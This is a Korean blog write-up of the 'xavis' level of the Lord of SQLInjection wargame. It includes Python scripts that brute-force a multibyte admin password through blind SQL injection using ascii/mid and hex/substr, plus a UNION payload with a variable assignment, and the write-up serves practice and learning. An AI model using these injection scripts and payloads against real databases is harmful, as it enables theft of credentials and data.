Analysis

이번에는 prob()와 regex, like가 필터링이 되어있다.
우선 query로 화면에 보여지는게 두개인 것을 확인할 수 있는데,,
그리고 addslashes 함수가 적용이 되어 있다. 이번에는 strrev가 적용되지 않았기 때문에 만약 ‘를 입력값으로 주면 \’으로 들어간다. 근데 이제 query로 보여지는 것은 \’로 보여지지 않고 pw=''' 이렇게 보여지기 때문에 우선 pw를 blind sql injection으로 알아낼 수 있다고 판단. 참이게 되면 hello admin이 뜰 것이기 때문!!
Solution
우선 아래와 같이 pw를 확인해봤는데 드디어 pw가 8자가 아니라 9자리 이상인것을 확인

이번에는 12자리이다.

이제 blind sql injection을 아래 코드로 시도해보았다.
import requests
password = ""
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
PHPSESSID = "각자 세션 넣기"
forward_pl = "' or id='admin' and ascii(mid(pw,"
for i in range(1, 12):
for idx in range(48, 128):
query = {"pw": forward_pl + str(i) + ",1)) =" + str(idx) + "-- "}
res = requests.get(url, params=query, cookies=(dict(PHPSESSID=PHPSESSID)))
if "Hello admin" in res.text:
password += chr(idx)
print("current idx is " + str(i) + " password detected : " + password)
break
print(password)하지만 아스키 범위에서 출력이 안되는 것을 확인했다.
진짜 여기서부터 고민을 많이 했다.. 일단 ascii 범위가 128을 넘어서 알파벳과 숫자가 아닌경우인건가 생각을 해봤다.
일단 아스키코드 특성상 모든 문자가 1byte이고 영어만 표현이 가능.. 그래서 멀티바이트로 되어있을 수 있겠다 싶어서 아래에서 좀 관련 자료를 찾아봤다.
참고 사이트 : https://is03.tistory.com/75
mysql을 실행시켜서 ascii 말고 다른 함수로 어떻게 영어가 아닌 멀티바이트 글자를 처리하는지 한번 확인해봤다.
우선 한글을 확인해보면 ㄱ과 ㅎ을 동일한 값을 ascii 함수가 내뱉는것을 확인할 수 있다.

그래서 이제 ord 함수로 확인해보면,, 아래와 같이 다르게 출력되는 것을 확인할 수 있는데 이걸 보고 ord 함수와 차이가 있구나 싶어서 한번 알아봤다..

ascii, ord 차이점
ascii : 문자열의 가장 왼쪽의 문자의 아스키코드 값을 리턴 (1바이트)
ord : 문자의 값을 10진수로 리턴
ex) 멀티 바이트 문자인 '가'를 예로 들어보면.
utf-8 표시 : 234, 176, 128 (10진수)
2진수로 표현 : 1110 1010 1011 0000 1000 0000
- ascii는 1바이트만 읽으므로 1110 1010을 10진수로 234를 리턴
- ord는 전체를 읽으므로 15,380,608을 리턴
근데 이제 ord로 한글을 비교하기에는 너무 숫자가 크기 때문에 다른 방법을 다시 찾아봤다.

위와 같이 hex 함수를 사용하면 위와 같이 3바이트를 16진수로 표현한다. 참고로,,
mySQL DB를 utf-8 로 설정할 경우 한글은 1자에 3byte를 차지한다!!
그래서 hex값으로 결국 문자가 몇글자인지 확인해보고,, hex를 이용해서 구해보고자 했다. 일단 코드로 알아낸 결과..

hex(pw)가 몇글자인지 알아내기 위해서 이 부분까지 포함해서 코드를 짜본 결과 아래와 같다.
import requests
password = ""
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
PHPSESSID = "각자 세션 넣기"
for_hex_pw_length = 0
for i in range(12, 100):
query = {"pw": "' or id='admin' and length(hex(pw))=" + str(i) + "-- "}
res = requests.get(url, params=query, cookies=(dict(PHPSESSID=PHPSESSID)))
if "Hello admin" in res.text:
for_hex_pw_length = i
print("password length detected : " + str(for_hex_pw_length))
break
hex_table = "0123456789abcdef"
forward_pl = "' or id='admin' and substr(hex(pw),"
for i in range(0, for_hex_pw_length + 1):
for idx in range(16):
query = {"pw": forward_pl + str(i) + ",1) ='" + hex_table[idx] + "'-- "}
res = requests.get(url, params=query, cookies=(dict(PHPSESSID=PHPSESSID)))
if "Hello admin" in res.text:
password += hex_table[idx]
print("current idx is " + str(i) + " password detected : " + password)
break
print(password)
결과는 다음과 같이 나오게 되는데 이제 이 16진수를 문자열로 바꾸기만 하면 password를 알아낼 수 있을거라 생각했다.
그래서 변환하기 위해 아래와 같이 코드를 작성했지만,
hex_string = "0000c6b00000c6550000ad73"
# 16진수 문자열을 바이트 배열로 변환
byte_array = bytearray.fromhex(hex_string)
decoded_string = byte_array.decode("utf-8", errors="ignore")
print(decoded_string)결과는 아래와 같은 문자로 변환이 되어서 변환 코드를 다르게 작성해야 한다고 생각했다.

그래서 python에서 utf-8 방식으로 디코딩할 때, 어떤 문제가 있는게 아닐까 생각했고,
utf-8과 utf-16 방식이 있다는 것을 확인한 뒤에 utf-16 방식을 사용해 디코딩을 해보았다.
더보기
- utf-8, utf-16 설명
- UTF-16
- 가변 길이 인코딩: 1바이트에서 4바이트까지 가변 길이로 인코딩.
- 호환성: ASCII와 호환됨. ASCII 문자는 1바이트로 인코딩됨.
- 효율성: 주로 영어와 같은 라틴 문자를 포함한 텍스트에 효율적.
- 바이트 순서: 바이트 순서에 대한 문제가 없음.
- UTF-16
- 고정 길이 인코딩: 대부분의 문자는 2바이트로 인코딩되지만, 일부 문자는 4바이트로 인코딩.
- 바이트 순서: UTF-16은 바이트 순서에 따라 UTF-16 BE (Big Endian)와 UTF-16 LE (Little Endian)로 나뉨.
- Big Endian (BE): 상위 바이트가 먼저 나옴.
- Little Endian (LE): 하위 바이트가 먼저 나옴.
- 효율성: 주로 아시아 언어와 같은 비라틴 문자를 포함한 텍스트에 효율적.
- UTF-16
hex_string = "0000c6b00000c6550000ad73"
# 16진수 문자열을 바이트 배열로 변환
byte_array = bytearray.fromhex(hex_string)
# 바이트 배열을 유니코드 문자로 디코딩
decoded_string = byte_array.decode("utf-16-be", errors="ignore")
# decoded_string = byte_array.decode("utf-8", errors="ignore")
print(decoded_string)해당 코드 실행 결과는 아래와 같이 나왔다.

따라서 한글로 패스워드가 설정되어 있다는 것을 확인한 뒤 pw에 전달하였고 문제를 풀 수 있었다.

번외(but 굉장히 유용한 풀이 방법
근데 진짜.. 너무 여기에 많은 시간을 쓰면서 mysql 관련해서 공부를 하다보니,, 쉬운 방법이 있을거 같아서 더 고민을 해봤다.
= 가 필터링되지 않기 때문에 뭔가 pw 값을 query문에서 할당을 받아서 볼 수 있는 방법은 없을까 생각을 해보다가,
https://chandlerbong.tistory.com/117 해당 블로그에서,, SELECT @local_variable라는 것을 알게 되었다.
간단하게 요약하면 local_variable이라는 지역 변수를 설정해주는 것이다. (local_variable 대신 원하는 변수명으로 바꿔서 할당이 가능하다는 소리)
그리고 해당 쿼리문은 UNION 구문이 필터링이 되어있지 않을 때 이용해서 정보를 얻을 수 있는 방법이라는 설명을 보고, 내가 생각한 방법이 가능할것 같았다.
여기서 내가 선언한 변수 값(ex. tmp)에 기존 정보를 대입하기 위해서 예시의 페이로드가 나와있었는데,
id가 admin인 pw를 @test 변수에 할당하고, 해당 할당한 값을 union을 사용해서 반환하도록 하기 위해서 아래와 같이 쿼리문을 짤 수 있다.
SELECT @test:=pw WHERE id='admin' UNION SELECT @test그래서 해당 문제에서도 이와 유사하게,
?pw=' or (select @tmp:=pw where id='admin') union (select @tmp)%23 페이로드를 입력해보니 아래와 같이 pw 값을 반환한 메세지를 확인할 수 있었다.

진짜 그동안 풀었던 문제 (18개)들에 쓴 시간만큼 여기에 쓴거 같지만,, 그래도 남는건 그만큼 많았던… 문제였다..
'Hacker > WEB' 카테고리의 다른 글
| LG U+ Security Hackaton Write up (0) | 2024.11.18 |
|---|---|
| [Dreamhack] - Switching Command (2) | 2024.11.15 |
| LOS(Lord of SQLInjection) - 24번 evil wizard (0) | 2024.10.17 |
| LOS(Lord of SQLInjection) - 17번 zombie_assasin (0) | 2024.10.10 |
| LOS(Lord of SQLInjection) - 11번 golem (1) | 2024.10.02 |